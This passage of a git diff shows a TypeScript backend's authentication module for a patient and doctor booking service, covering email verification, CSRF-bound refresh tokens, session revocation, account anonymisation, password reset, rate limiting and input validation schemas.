{ + throw new HttpError(409, 'This email address is already verified.', 'EMAIL_ALREADY_VERIFIED'); + } + + const intervalSeconds = config.auth.emailVerification.resendIntervalSeconds; + const latest = await findLatestVerificationToken(userId); + if (latest) { + const waitedSeconds = (Date.now() - latest.createdAt.getTime()) / 1000; + if (waitedSeconds < intervalSeconds) { + throw new HttpError( + 429, + `Please wait ${Math.ceil(intervalSeconds - waitedSeconds)}s before requesting another verification email.`, + 'EMAIL_VERIFICATION_RATE_LIMITED', + ); + } + } + + await issueEmailVerification(user); + return { resendAfterSeconds: intervalSeconds }; +} + +/** The enforcement point for "unverified accounts can log in and browse, but + * not book or pay" (issue #34). Deliberately a DB read rather than a claim + * baked into the access token: verifying in another tab then takes effect + * immediately instead of after the token's 15-minute TTL. */ +export async function assertEmailVerified(userId: string): Promise { + const user = await findUserById(userId); + if (!user) throw new HttpError(401, 'Authentication required.'); + if (!user.emailVerifiedAt) { + throw new HttpError(403, 'Verify your email address before continuing.', 'EMAIL_NOT_VERIFIED'); + } +} + +/** + * Exchanges the refresh cookie for a new session. + * + * `csrfToken` is the `X-CSRF-Token` header value (Phase 8, issue #37), + * checked against the claim inside the presented refresh token. The cookie + * is verified first so a garbage/missing cookie is still a 401, and a + * *valid* cookie without a matching CSRF token is a 403. + */ +export async function refresh(refreshToken: string, csrfToken?: string | null): Promise { + let payload; + try { + payload = verifyRefreshToken(refreshToken); + } catch { + throw new HttpError(401, 'Invalid or expired refresh token.'); + } + + if (!payload.csrf || !csrfToken || !csrfTokensMatch(csrfToken, payload.csrf)) { + throw new HttpError( + 403, + 'Missing or invalid CSRF token. Send the csrfToken from your login response in the X-CSRF-Token header.', + ); + } + + const user = await findUserById(payload.sub); + // A deleted account (issue #41) can't refresh its way back in. + if (!user || user.deletedAt) throw new HttpError(401, 'Invalid or expired refresh token.'); + + // Deactivated accounts can't refresh out of their deactivation, and a + // session revoked by deactivation/reactivation can't come back to life + // through a refresh cookie either (Phase 8, issue #39). + if (user.deactivatedAt) throw new HttpError(403, 'This account has been deactivated.'); + + // `tv` check: a password reset (or anything else that bumps + // `User.tokenVersion`) kills every refresh token issued before it. Tokens + // predating this field carry no `tv` and read as version 0, which is + // exactly right β€” they stay valid only while the user has never had a + // version bump. + if ((payload.tv ?? 0) !== user.tokenVersion) { + throw new HttpError(401, 'Invalid or expired refresh token.'); + } + + if (isSessionRevoked(user.sessionsInvalidatedAt, payload.iat)) { + throw new HttpError(401, 'Your session has been revoked. Please sign in again.'); + } + + // Tokens minted before session records existed carry no `sid` and are + // rejected: the migration logs existing sessions out once, which is the + // honest trade for actually having a revocation store. + if (!payload.sid) throw new HttpError(401, 'Invalid or expired refresh token.'); + + await assertSessionUsable({ sessionId: payload.sid, userId: user.id }); + await recordSessionUse(payload.sid); + + // Rotation keeps the same session (same family, same `sid`) β€” a new + // session row per refresh would make "list my sessions" useless. + const tokens = issueTokensForSession(user, payload.sid); + return { user: toPublicUser(user), ...tokens, sessionId: payload.sid }; +} + +/** The session id behind a refresh cookie, for endpoints that need to know + * which of the caller's sessions is the current one. Returns undefined for + * a missing/unverifiable cookie rather than throwing β€” "which session am + * I" is never the reason a request should fail. */ +export function sessionIdFromRefreshToken(refreshToken: string | undefined): string | undefined { + if (!refreshToken) return undefined; + try { + return verifyRefreshToken(refreshToken).sid; + } catch { + return undefined; + } +} + +/** + * Guards every authenticated request (Phase 8, issue #39). The access token + * is otherwise stateless, so a deactivated account's token would keep + * working for up to 15 minutes; this is the DB read that closes that gap. + * + * Deliberately narrow: it answers "is this account still active, and was + * this token issued after the last deactivation/reactivation", not "is this + * token on a revocation list" β€” a general revocation list is issue #18 and + * is still unbuilt. Because it's a per-request read, tokens carrying no + * `iat` are treated as revoked once `sessionsInvalidatedAt` is set (fail + * closed). + */ +export async function assertActiveSession(userId: string, issuedAtSeconds?: number): Promise { + const user = await findUserById(userId); + if (!user) throw new HttpError(401, 'Invalid or expired access token.'); + if (user.deactivatedAt) throw new HttpError(401, 'This account has been deactivated.'); + if (isSessionRevoked(user.sessionsInvalidatedAt, issuedAtSeconds)) { + throw new HttpError(401, 'Your session has been revoked. Please sign in again.'); + } +} + +function isSessionRevoked(sessionsInvalidatedAt: Date | null, issuedAtSeconds: number | undefined): boolean { + if (!sessionsInvalidatedAt) return false; + // `iat` has second precision, so a token minted in the same second as the + // invalidation counts as revoked β€” the safe direction. + return (issuedAtSeconds ?? 0) * 1000 < sessionsInvalidatedAt.getTime(); +} + +/** This module's contribution to the patient data export (issue #40): the + * login identity itself. Explicit allowlist β€” never the password hash, and + * no verification/throttle bookkeeping. */ +export const accountExportSection: PatientExportSection = { + name: 'account', + version: 1, + async *pages(subject) { + const user = await findUserById(subject.userId); + if (!user) return; + yield [ + { + id: user.id, + email: user.email, + phone: user.phone, + role: user.role, + emailVerifiedAt: user.emailVerifiedAt, + createdAt: user.createdAt, + updatedAt: user.updatedAt, + }, + ]; + }, +}; +// --- Account deletion (Phase 8, issue #41, docs/adr/0010) ---------------- +// The patients module orchestrates `DELETE /patients/me`; this module owns +// everything about the login identity it touches. + +/** + * Re-confirms the caller's password for a destructive action. Shares the + * login throttle's per-account bucket: a locked account is refused before + * the hash is compared, and a wrong password counts as a failed login β€” so + * a stolen access token can't be used to brute-force the password here. + */ +export async function confirmPassword(userId: string, password: string, ip?: string | null): Promise { + const user = await findUserById(userId); + if (!user || user.deletedAt) throw new HttpError(401, 'Authentication required.'); + + const throttleKeys = { emailKey: emailThrottleKey(user.email), ipKey: normalizeClientIp(ip) }; + const gate = await checkLoginThrottle(throttleKeys); + if (gate.blocked) { + const afterFailure = await registerFailedLogin(throttleKeys); + throw new LoginThrottledError(Math.max(gate.retryAfterSeconds, afterFailure.retryAfterSeconds)); + } + + if (!(await verifyPassword(password, user.passwordHash))) { + const afterFailure = await registerFailedLogin(throttleKeys); + if (afterFailure.blocked) throw new LoginThrottledError(afterFailure.retryAfterSeconds); + throw new HttpError(403, 'Password confirmation failed.', 'PASSWORD_CONFIRMATION_FAILED'); + } +} + +export async function isAccountDeleted(userId: string): Promise { + const user = await findUserById(userId); + return Boolean(user?.deletedAt); +} + +/** The address a deleted account is left with: unique (derived from the id), + * stable across retries, and undeliverable (`.invalid` is reserved, RFC + * 2606). It frees the original address for a new signup. */ +export function tombstoneEmail(userId: string): string { + return `deleted+${userId}@deleted.invalid`; +} + +/** A real bcrypt hash of 32 random bytes nobody ever sees β€” so the deleted + * account's login can never succeed, and the login path still pays a + * normal bcrypt comparison. Computed outside the deletion transaction + * (bcrypt is deliberately slow). */ +export function createUnusablePasswordHash(): Promise { + return hashPassword(randomBytes(32).toString('base64url')); +} + +/** + * Anonymises the login identity, inside the caller's transaction: email to + * its tombstone, phone cleared, password unusable, verification cleared, + * `deletedAt` set; verification tokens and the old address's login-throttle + * bucket deleted. Returns false (and changes nothing) if the account was + * already deleted β€” repeat and concurrent deletions are no-ops. + */ +export async function anonymizeAccount( + tx: Prisma.TransactionClient, + userId: string, + input: { unusablePasswordHash: string; deletedAt: Date }, +): Promise { + const user = await findUserById(userId, tx); + if (!user || user.deletedAt) return false; + const anonymized = await anonymizeUser(tx, userId, { + tombstoneEmail: tombstoneEmail(userId), + unusablePasswordHash: input.unusablePasswordHash, + deletedAt: input.deletedAt, + }); + if (!anonymized) return false; + await deleteVerificationTokensForUser(tx, userId); + await deleteLoginAttemptBucket(tx, 'email', emailThrottleKey(user.email)); + return true; +} + +/** Tombstone purge: removes an already-anonymised User row. */ +export function purgeAnonymizedAccount(tx: Prisma.TransactionClient, userId: string): Promise { + return deleteAnonymizedUser(tx, userId); +} diff --git a/backend/src/modules/auth/services/password-reset.ts b/backend/src/modules/auth/services/password-reset.ts index 8f7f2ca8..18b4df16 100644 --- a/backend/src/modules/auth/services/password-reset.ts +++ b/backend/src/modules/auth/services/password-reset.ts @@ -1,110 +1,110 @@ -// Password reset flow (issue #33). Two endpoints, deliberately paired: -// - request: always behaves the same whether or not the email exists. -// - confirm: single-use, expiring, hashed token β†’ new password + every -// outstanding refresh token invalidated. -// -// Security notes enforced here, not just in the controller: -// - The raw token only ever exists in memory (and in the outbound -// notification). The DB stores its SHA-256 hash. -// - Unknown/expired/reused/superseded tokens all produce the *same* -// generic error, and the hash comparison is constant-time. -// - Rate-limited per email and per IP before any account lookup. -import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; -import { config } from '../../../config'; -import { HttpError } from '../../../http-error'; -import { sendPasswordResetLink } from '../../notifications/services'; -import { hashPassword } from './password'; -import { - consumePasswordResetToken, - createPasswordResetToken, - findPasswordResetTokenByHash, - findUserByEmail, -} from '../repositories'; -import { createRateLimiter } from './rate-limit'; - -const HOUR_MS = 60 * 60 * 1000; - -/** Deliberately 400, not 404/410 β€” the client must not be able to tell - * which of "no such token", "expired", "already used" or "superseded by a - * newer request" happened. */ -const GENERIC_INVALID_TOKEN_MESSAGE = - 'This password reset link is invalid or has expired. Request a new one.'; - -const emailLimiter = createRateLimiter(config.passwordReset.requestsPerEmailPerHour, HOUR_MS); -const ipLimiter = createRateLimiter(config.passwordReset.requestsPerIpPerHour, HOUR_MS); - -export function hashResetToken(rawToken: string): string { - return createHash('sha256').update(rawToken).digest('hex'); -} - -/** Constant-time comparison of two hex-encoded hashes. */ -function hashesEqual(a: string, b: string): boolean { - const bufA = Buffer.from(a, 'utf8'); - const bufB = Buffer.from(b, 'utf8'); - if (bufA.length !== bufB.length) return false; - return timingSafeEqual(bufA, bufB); -} - -export interface RequestPasswordResetInput { - email: string; - /** Coarse source address for the per-IP limit. Never persisted. */ - ip: string; -} - -/** - * Issues a reset token if the email belongs to an account. Always resolves - * β€” the caller responds 202 either way, so response *and* status are - * identical for known and unknown addresses. - */ -export async function requestPasswordReset(input: RequestPasswordResetInput): Promise { - if (!emailLimiter.consume(input.email.toLowerCase()) || !ipLimiter.consume(input.ip)) { - throw new HttpError(429, 'Too many password reset requests. Please try again later.'); - } - - const user = await findUserByEmail(input.email); - if (!user) { - // Do the same shape of work for an unknown address so timing doesn't - // leak existence: hash a throwaway token, then drop it. - hashResetToken(randomBytes(32).toString('base64url')); - return; - } - - const rawToken = randomBytes(32).toString('base64url'); - const expiresAt = new Date(Date.now() + config.passwordReset.tokenTtlMinutes * 60_000); - - await createPasswordResetToken({ userId: user.id, tokenHash: hashResetToken(rawToken), expiresAt }); - await sendPasswordResetLink({ email: user.email, token: rawToken, expiresAt, locale: user.locale }); -} - -export interface ConfirmPasswordResetInput { - token: string; - newPassword: string; -} - -/** Applies a new password for a valid, unexpired, unused token. */ -export async function confirmPasswordReset(input: ConfirmPasswordResetInput): Promise { - const presentedHash = hashResetToken(input.token); - const record = await findPasswordResetTokenByHash(presentedHash); - - if (!record || !hashesEqual(record.tokenHash, presentedHash)) { - throw new HttpError(400, GENERIC_INVALID_TOKEN_MESSAGE); - } - if (record.usedAt) throw new HttpError(400, GENERIC_INVALID_TOKEN_MESSAGE); - if (record.expiresAt.getTime() <= Date.now()) throw new HttpError(400, GENERIC_INVALID_TOKEN_MESSAGE); - - const passwordHash = await hashPassword(input.newPassword); - const consumed = await consumePasswordResetToken({ - tokenId: record.id, - userId: record.userId, - passwordHash, - }); - // Lost the race to a concurrent confirm of the same token. - if (!consumed) throw new HttpError(400, GENERIC_INVALID_TOKEN_MESSAGE); -} - -/** Test seam only β€” the limiters are module-level singletons so the limits - * actually hold across requests. */ -export function resetPasswordResetRateLimits(): void { - emailLimiter.reset(); - ipLimiter.reset(); -} +// Password reset flow (issue #33). Two endpoints, deliberately paired: +// - request: always behaves the same whether or not the email exists. +// - confirm: single-use, expiring, hashed token β†’ new password + every +// outstanding refresh token invalidated. +// +// Security notes enforced here, not just in the controller: +// - The raw token only ever exists in memory (and in the outbound +// notification). The DB stores its SHA-256 hash. +// - Unknown/expired/reused/superseded tokens all produce the *same* +// generic error, and the hash comparison is constant-time. +// - Rate-limited per email and per IP before any account lookup. +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { config } from '../../../config'; +import { HttpError } from '../../../http-error'; +import { sendPasswordResetLink } from '../../notifications/services'; +import { hashPassword } from './password'; +import { + consumePasswordResetToken, + createPasswordResetToken, + findPasswordResetTokenByHash, + findUserByEmail, +} from '../repositories'; +import { createRateLimiter } from './rate-limit'; + +const HOUR_MS = 60 * 60 * 1000; + +/** Deliberately 400, not 404/410 β€” the client must not be able to tell + * which of "no such token", "expired", "already used" or "superseded by a + * newer request" happened. */ +const GENERIC_INVALID_TOKEN_MESSAGE = + 'This password reset link is invalid or has expired. Request a new one.'; + +const emailLimiter = createRateLimiter(config.passwordReset.requestsPerEmailPerHour, HOUR_MS); +const ipLimiter = createRateLimiter(config.passwordReset.requestsPerIpPerHour, HOUR_MS); + +export function hashResetToken(rawToken: string): string { + return createHash('sha256').update(rawToken).digest('hex'); +} + +/** Constant-time comparison of two hex-encoded hashes. */ +function hashesEqual(a: string, b: string): boolean { + const bufA = Buffer.from(a, 'utf8'); + const bufB = Buffer.from(b, 'utf8'); + if (bufA.length !== bufB.length) return false; + return timingSafeEqual(bufA, bufB); +} + +export interface RequestPasswordResetInput { + email: string; + /** Coarse source address for the per-IP limit. Never persisted. */ + ip: string; +} + +/** + * Issues a reset token if the email belongs to an account. Always resolves + * β€” the caller responds 202 either way, so response *and* status are + * identical for known and unknown addresses. + */ +export async function requestPasswordReset(input: RequestPasswordResetInput): Promise { + if (!emailLimiter.consume(input.email.toLowerCase()) || !ipLimiter.consume(input.ip)) { + throw new HttpError(429, 'Too many password reset requests. Please try again later.'); + } + + const user = await findUserByEmail(input.email); + if (!user) { + // Do the same shape of work for an unknown address so timing doesn't + // leak existence: hash a throwaway token, then drop it. + hashResetToken(randomBytes(32).toString('base64url')); + return; + } + + const rawToken = randomBytes(32).toString('base64url'); + const expiresAt = new Date(Date.now() + config.passwordReset.tokenTtlMinutes * 60_000); + + await createPasswordResetToken({ userId: user.id, tokenHash: hashResetToken(rawToken), expiresAt }); + await sendPasswordResetLink({ email: user.email, token: rawToken, expiresAt, locale: user.locale }); +} + +export interface ConfirmPasswordResetInput { + token: string; + newPassword: string; +} + +/** Applies a new password for a valid, unexpired, unused token. */ +export async function confirmPasswordReset(input: ConfirmPasswordResetInput): Promise { + const presentedHash = hashResetToken(input.token); + const record = await findPasswordResetTokenByHash(presentedHash); + + if (!record || !hashesEqual(record.tokenHash, presentedHash)) { + throw new HttpError(400, GENERIC_INVALID_TOKEN_MESSAGE); + } + if (record.usedAt) throw new HttpError(400, GENERIC_INVALID_TOKEN_MESSAGE); + if (record.expiresAt.getTime() <= Date.now()) throw new HttpError(400, GENERIC_INVALID_TOKEN_MESSAGE); + + const passwordHash = await hashPassword(input.newPassword); + const consumed = await consumePasswordResetToken({ + tokenId: record.id, + userId: record.userId, + passwordHash, + }); + // Lost the race to a concurrent confirm of the same token. + if (!consumed) throw new HttpError(400, GENERIC_INVALID_TOKEN_MESSAGE); +} + +/** Test seam only β€” the limiters are module-level singletons so the limits + * actually hold across requests. */ +export function resetPasswordResetRateLimits(): void { + emailLimiter.reset(); + ipLimiter.reset(); +} diff --git a/backend/src/modules/auth/services/rate-limit.ts b/backend/src/modules/auth/services/rate-limit.ts index ba257e93..70a2bb96 100644 --- a/backend/src/modules/auth/services/rate-limit.ts +++ b/backend/src/modules/auth/services/rate-limit.ts @@ -1,48 +1,48 @@ -// Fixed-window in-memory rate limiter (auth module β€” used by the password -// reset request endpoint today). -// -// Caveat, stated rather than hidden: this is per-process state, so it does -// not survive a restart and does not hold across multiple backend -// instances. That's adequate for the current single-instance preview -// deploy (docs/adr/0003) and for making the endpoint un-spammable in a way -// that's testable; a horizontally-scaled deployment needs a shared store -// (Redis) β€” flagged in ARCHITECTURE_ESSENTIALS.md known gaps, not silently -// assumed away. -export interface RateLimiter { - /** Records an attempt for `key`. Returns true if it's allowed, - * false if the caller is over the limit for the current window. */ - consume(key: string, now?: number): boolean; - reset(): void; -} - -const DEFAULT_MAX_TRACKED_KEYS = 10_000; - -export function createRateLimiter(limit: number, windowMs: number): RateLimiter { - const buckets = new Map(); - - return { - consume(key: string, now = Date.now()): boolean { - // Opportunistic prune so a long-running process can't grow the map - // without bound from one-off IPs/emails. - if (buckets.size > DEFAULT_MAX_TRACKED_KEYS) { - for (const [k, bucket] of buckets) { - if (bucket.resetAt <= now) buckets.delete(k); - } - } - - const bucket = buckets.get(key); - if (!bucket || bucket.resetAt <= now) { - buckets.set(key, { count: 1, resetAt: now + windowMs }); - return true; - } - - if (bucket.count >= limit) return false; - bucket.count += 1; - return true; - }, - - reset() { - buckets.clear(); - }, - }; -} +// Fixed-window in-memory rate limiter (auth module β€” used by the password +// reset request endpoint today). +// +// Caveat, stated rather than hidden: this is per-process state, so it does +// not survive a restart and does not hold across multiple backend +// instances. That's adequate for the current single-instance preview +// deploy (docs/adr/0003) and for making the endpoint un-spammable in a way +// that's testable; a horizontally-scaled deployment needs a shared store +// (Redis) β€” flagged in ARCHITECTURE_ESSENTIALS.md known gaps, not silently +// assumed away. +export interface RateLimiter { + /** Records an attempt for `key`. Returns true if it's allowed, + * false if the caller is over the limit for the current window. */ + consume(key: string, now?: number): boolean; + reset(): void; +} + +const DEFAULT_MAX_TRACKED_KEYS = 10_000; + +export function createRateLimiter(limit: number, windowMs: number): RateLimiter { + const buckets = new Map(); + + return { + consume(key: string, now = Date.now()): boolean { + // Opportunistic prune so a long-running process can't grow the map + // without bound from one-off IPs/emails. + if (buckets.size > DEFAULT_MAX_TRACKED_KEYS) { + for (const [k, bucket] of buckets) { + if (bucket.resetAt <= now) buckets.delete(k); + } + } + + const bucket = buckets.get(key); + if (!bucket || bucket.resetAt <= now) { + buckets.set(key, { count: 1, resetAt: now + windowMs }); + return true; + } + + if (bucket.count >= limit) return false; + bucket.count += 1; + return true; + }, + + reset() { + buckets.clear(); + }, + }; +} diff --git a/backend/src/modules/auth/services/sessions.ts b/backend/src/modules/auth/services/sessions.ts index 7448a6b5..db4b2114 100644 --- a/backend/src/modules/auth/services/sessions.ts +++ b/backend/src/modules/auth/services/sessions.ts @@ -1,102 +1,102 @@ -// Refresh-session management (Phase 8 #38). -// -// One row per refresh-token family (i.e. per login), referenced by the -// refresh JWT's `sid` claim. This is the revocation store #18 asked for: -// access tokens stay stateless (15-minute TTL, no per-request lookup), but -// a refresh only succeeds while its session row is present and unrevoked β€” -// which is exactly when revocation has to bite, because that's the -// operation that mints new tokens. -import { HttpError } from '../../../http-error'; -import { - createRefreshSession, - findRefreshSessionById, - listRefreshSessions, - revokeRefreshSession, - revokeRefreshSessionsForUser, - touchRefreshSession, -} from '../repositories'; - -export interface SessionContext { - /** Coarse, best-effort source address. Never used for authorization. */ - ip?: string; - userAgent?: string; -} - -export interface SessionSummary { - id: string; - createdAt: Date; - lastUsedAt: Date; - userAgent: string | null; - ip: string | null; - /** True for the session making this request β€” the UI's "this device". */ - current: boolean; -} - -export function startSession(input: { userId: string } & SessionContext): Promise<{ id: string }> { - return createRefreshSession(input); -} - -/** - * Validates a refresh against its session row. Returns the session id to - * re-issue against, or throws the same generic 401 the caller uses for any - * unusable refresh token β€” a revoked session and a garbage token should be - * indistinguishable from outside. - */ -export async function assertSessionUsable(input: { sessionId: string; userId: string }): Promise { - const session = await findRefreshSessionById(input.sessionId); - if (!session || session.userId !== input.userId || session.revokedAt) { - throw new HttpError(401, 'Invalid or expired refresh token.'); - } -} - -/** Marks the session as used. Called on refresh only. */ -export function recordSessionUse(sessionId: string): Promise { - return touchRefreshSession(sessionId); -} - -export async function listSessions(input: { userId: string; currentSessionId?: string }): Promise { - const sessions = await listRefreshSessions(input.userId); - return sessions.map((session) => ({ - id: session.id, - createdAt: session.createdAt, - lastUsedAt: session.lastUsedAt, - userAgent: session.userAgent, - ip: session.ip, - current: session.id === input.currentSessionId, - })); -} - -/** - * Revokes one of the caller's sessions. `userId` is part of the update's - * WHERE clause, so another user's session id simply updates nothing β€” the - * ownership check is the query, not a branch above it. - */ -export async function revokeSession(input: { - userId: string; - sessionId: string; - currentSessionId?: string; -}): Promise<{ revoked: boolean; wasCurrent: boolean }> { - const result = await revokeRefreshSession(input.sessionId, input.userId); - if (result.count !== 1) return { revoked: false, wasCurrent: false }; - // Revoking your own session has to clear the cookie too, otherwise the - // browser keeps presenting a refresh token whose session is dead. - return { revoked: true, wasCurrent: input.sessionId === input.currentSessionId }; -} - -/** "Sign out everywhere else": keeps the caller's own session alive. */ -export async function revokeOtherSessions(input: { - userId: string; - currentSessionId?: string; -}): Promise { - const result = await revokeRefreshSessionsForUser({ - userId: input.userId, - exceptSessionId: input.currentSessionId, - }); - return result.count; -} - -/** Admin escape hatch: revoke every session for a user (issue #38). */ -export async function revokeAllUserSessions(userId: string): Promise { - const result = await revokeRefreshSessionsForUser({ userId }); - return result.count; -} +// Refresh-session management (Phase 8 #38). +// +// One row per refresh-token family (i.e. per login), referenced by the +// refresh JWT's `sid` claim. This is the revocation store #18 asked for: +// access tokens stay stateless (15-minute TTL, no per-request lookup), but +// a refresh only succeeds while its session row is present and unrevoked β€” +// which is exactly when revocation has to bite, because that's the +// operation that mints new tokens. +import { HttpError } from '../../../http-error'; +import { + createRefreshSession, + findRefreshSessionById, + listRefreshSessions, + revokeRefreshSession, + revokeRefreshSessionsForUser, + touchRefreshSession, +} from '../repositories'; + +export interface SessionContext { + /** Coarse, best-effort source address. Never used for authorization. */ + ip?: string; + userAgent?: string; +} + +export interface SessionSummary { + id: string; + createdAt: Date; + lastUsedAt: Date; + userAgent: string | null; + ip: string | null; + /** True for the session making this request β€” the UI's "this device". */ + current: boolean; +} + +export function startSession(input: { userId: string } & SessionContext): Promise<{ id: string }> { + return createRefreshSession(input); +} + +/** + * Validates a refresh against its session row. Returns the session id to + * re-issue against, or throws the same generic 401 the caller uses for any + * unusable refresh token β€” a revoked session and a garbage token should be + * indistinguishable from outside. + */ +export async function assertSessionUsable(input: { sessionId: string; userId: string }): Promise { + const session = await findRefreshSessionById(input.sessionId); + if (!session || session.userId !== input.userId || session.revokedAt) { + throw new HttpError(401, 'Invalid or expired refresh token.'); + } +} + +/** Marks the session as used. Called on refresh only. */ +export function recordSessionUse(sessionId: string): Promise { + return touchRefreshSession(sessionId); +} + +export async function listSessions(input: { userId: string; currentSessionId?: string }): Promise { + const sessions = await listRefreshSessions(input.userId); + return sessions.map((session) => ({ + id: session.id, + createdAt: session.createdAt, + lastUsedAt: session.lastUsedAt, + userAgent: session.userAgent, + ip: session.ip, + current: session.id === input.currentSessionId, + })); +} + +/** + * Revokes one of the caller's sessions. `userId` is part of the update's + * WHERE clause, so another user's session id simply updates nothing β€” the + * ownership check is the query, not a branch above it. + */ +export async function revokeSession(input: { + userId: string; + sessionId: string; + currentSessionId?: string; +}): Promise<{ revoked: boolean; wasCurrent: boolean }> { + const result = await revokeRefreshSession(input.sessionId, input.userId); + if (result.count !== 1) return { revoked: false, wasCurrent: false }; + // Revoking your own session has to clear the cookie too, otherwise the + // browser keeps presenting a refresh token whose session is dead. + return { revoked: true, wasCurrent: input.sessionId === input.currentSessionId }; +} + +/** "Sign out everywhere else": keeps the caller's own session alive. */ +export async function revokeOtherSessions(input: { + userId: string; + currentSessionId?: string; +}): Promise { + const result = await revokeRefreshSessionsForUser({ + userId: input.userId, + exceptSessionId: input.currentSessionId, + }); + return result.count; +} + +/** Admin escape hatch: revoke every session for a user (issue #38). */ +export async function revokeAllUserSessions(userId: string): Promise { + const result = await revokeRefreshSessionsForUser({ userId }); + return result.count; +} diff --git a/backend/src/modules/auth/services/tokens.ts b/backend/src/modules/auth/services/tokens.ts index 5a0c1c0c..d4c3557f 100644 --- a/backend/src/modules/auth/services/tokens.ts +++ b/backend/src/modules/auth/services/tokens.ts @@ -1,52 +1,52 @@ -// Token signing/verification. Every token carries `tv` (the user's -// refresh-token version at issue time) so bumping `User.tokenVersion` -// invalidates all outstanding tokens without a per-request DB read β€” the -// check happens where the token is actually exchanged (refresh). -import jwt from 'jsonwebtoken'; -import { config } from '../../../config'; -import type { Role } from '@prisma/client'; - -export interface AccessTokenPayload { - sub: string; // user id - role: Role; - /** Signup preference used to localize request errors without another DB read. */ - locale?: string; - /** Issued-at, set by `jsonwebtoken` itself. Read by the auth middleware to - * compare against `User.sessionsInvalidatedAt` (Phase 8, issue #39) β€” - * tokens minted before a deactivation must stop working immediately. */ - iat?: number; - /** Refresh-session id (Phase 8 #38). Present only on refresh tokens β€” - * the access token stays stateless so protected requests don't need a - * session lookup. */ - sid?: string; - /** User.tokenVersion at issue time. Compared at refresh time (Phase 8 #33). */ - tv?: number; -} - -/** - * The refresh token additionally carries the session's CSRF token (Phase 8, - * issue #37). Binding it here rather than storing it means the CSRF check is - * stateless and rotates with the refresh token itself: a token minted before - * this change has no `csrf` claim and is therefore rejected by - * `refresh()` β€” a pre-existing refresh cookie forces one re-login, which is - * the honest cost of closing the hole. - */ -export interface RefreshTokenPayload extends AccessTokenPayload { - csrf: string; -} - -export function signAccessToken(payload: AccessTokenPayload): string { - return jwt.sign(payload, config.jwt.accessSecret, { expiresIn: config.jwt.accessTtl }); -} - -export function signRefreshToken(payload: RefreshTokenPayload): string { - return jwt.sign(payload, config.jwt.refreshSecret, { expiresIn: config.jwt.refreshTtl }); -} - -export function verifyAccessToken(token: string): AccessTokenPayload { - return jwt.verify(token, config.jwt.accessSecret) as AccessTokenPayload; -} - -export function verifyRefreshToken(token: string): RefreshTokenPayload { - return jwt.verify(token, config.jwt.refreshSecret) as RefreshTokenPayload; -} +// Token signing/verification. Every token carries `tv` (the user's +// refresh-token version at issue time) so bumping `User.tokenVersion` +// invalidates all outstanding tokens without a per-request DB read β€” the +// check happens where the token is actually exchanged (refresh). +import jwt from 'jsonwebtoken'; +import { config } from '../../../config'; +import type { Role } from '@prisma/client'; + +export interface AccessTokenPayload { + sub: string; // user id + role: Role; + /** Signup preference used to localize request errors without another DB read. */ + locale?: string; + /** Issued-at, set by `jsonwebtoken` itself. Read by the auth middleware to + * compare against `User.sessionsInvalidatedAt` (Phase 8, issue #39) β€” + * tokens minted before a deactivation must stop working immediately. */ + iat?: number; + /** Refresh-session id (Phase 8 #38). Present only on refresh tokens β€” + * the access token stays stateless so protected requests don't need a + * session lookup. */ + sid?: string; + /** User.tokenVersion at issue time. Compared at refresh time (Phase 8 #33). */ + tv?: number; +} + +/** + * The refresh token additionally carries the session's CSRF token (Phase 8, + * issue #37). Binding it here rather than storing it means the CSRF check is + * stateless and rotates with the refresh token itself: a token minted before + * this change has no `csrf` claim and is therefore rejected by + * `refresh()` β€” a pre-existing refresh cookie forces one re-login, which is + * the honest cost of closing the hole. + */ +export interface RefreshTokenPayload extends AccessTokenPayload { + csrf: string; +} + +export function signAccessToken(payload: AccessTokenPayload): string { + return jwt.sign(payload, config.jwt.accessSecret, { expiresIn: config.jwt.accessTtl }); +} + +export function signRefreshToken(payload: RefreshTokenPayload): string { + return jwt.sign(payload, config.jwt.refreshSecret, { expiresIn: config.jwt.refreshTtl }); +} + +export function verifyAccessToken(token: string): AccessTokenPayload { + return jwt.verify(token, config.jwt.accessSecret) as AccessTokenPayload; +} + +export function verifyRefreshToken(token: string): RefreshTokenPayload { + return jwt.verify(token, config.jwt.refreshSecret) as RefreshTokenPayload; +} diff --git a/backend/src/modules/auth/validation.ts b/backend/src/modules/auth/validation.ts index 4406603a..e6466768 100644 --- a/backend/src/modules/auth/validation.ts +++ b/backend/src/modules/auth/validation.ts @@ -1,49 +1,49 @@ -import { z } from 'zod'; - -export const signupSchema = z.object({ - role: z.enum(['patient', 'doctor']), - email: z.string().email(), - password: z.string().min(8), - fullName: z.string().trim().min(1), -}); - -export const loginSchema = z.object({ - email: z.string().email(), - password: z.string().min(1), -}); - -// Phase 8, issue #39 β€” admin invite redemption. No `fullName`: an admin -// account has no Patient/Doctor profile row. -export const signupWithInviteSchema = z.object({ - token: z.string().min(1), - email: z.string().email(), - password: z.string().min(8), -}); - -// Phase 8, issue #34. No `email` field on the resend body on purpose β€” the -// resend endpoint is authenticated and targets the caller's own account, -// so it can't be used to probe which addresses exist. -export const verifyEmailSchema = z.object({ - token: z.string().min(1), -}); -// Phase 8, issue #35 β€” admin escape hatch for a lock a legitimate user is -// stuck behind. -export const clearLoginAttemptsSchema = z - .object({ - email: z.string().email().optional(), - ip: z.string().min(1).optional(), - }) - .refine((value) => Boolean(value.email || value.ip), { - message: 'Provide an email or an ip to clear.', - }); - -// Phase 8, issue #33 β€” password reset. The confirm schema repeats signup's -// minimum password length so a reset can't weaken the account. -export const passwordResetRequestSchema = z.object({ - email: z.string().email(), -}); - -export const passwordResetConfirmSchema = z.object({ - token: z.string().min(1), - newPassword: z.string().min(8), -}); +import { z } from 'zod'; + +export const signupSchema = z.object({ + role: z.enum(['patient', 'doctor']), + email: z.string().email(), + password: z.string().min(8), + fullName: z.string().trim().min(1), +}); + +export const loginSchema = z.object({ + email: z.string().email(), + password: z.string().min(1), +}); + +// Phase 8, issue #39 β€” admin invite redemption. No `fullName`: an admin +// account has no Patient/Doctor profile row. +export const signupWithInviteSchema = z.object({ + token: z.string().min(1), + email: z.string().email(), + password: z.string().min(8), +}); + +// Phase 8, issue #34. No `email` field on the resend body on purpose β€” the +// resend endpoint is authenticated and targets the caller's own account, +// so it can't be used to probe which addresses exist. +export const verifyEmailSchema = z.object({ + token: z.string().min(1), +}); +// Phase 8, issue #35 β€” admin escape hatch for a lock a legitimate user is +// stuck behind. +export const clearLoginAttemptsSchema = z + .object({ + email: z.string().email().optional(), + ip: z.string().min(1).optional(), + }) + .refine((value) => Boolean(value.email || value.ip), { + message: 'Provide an email or an ip to clear.', + }); + +// Phase 8, issue #33 β€” password reset. The confirm schema repeats signup's +// 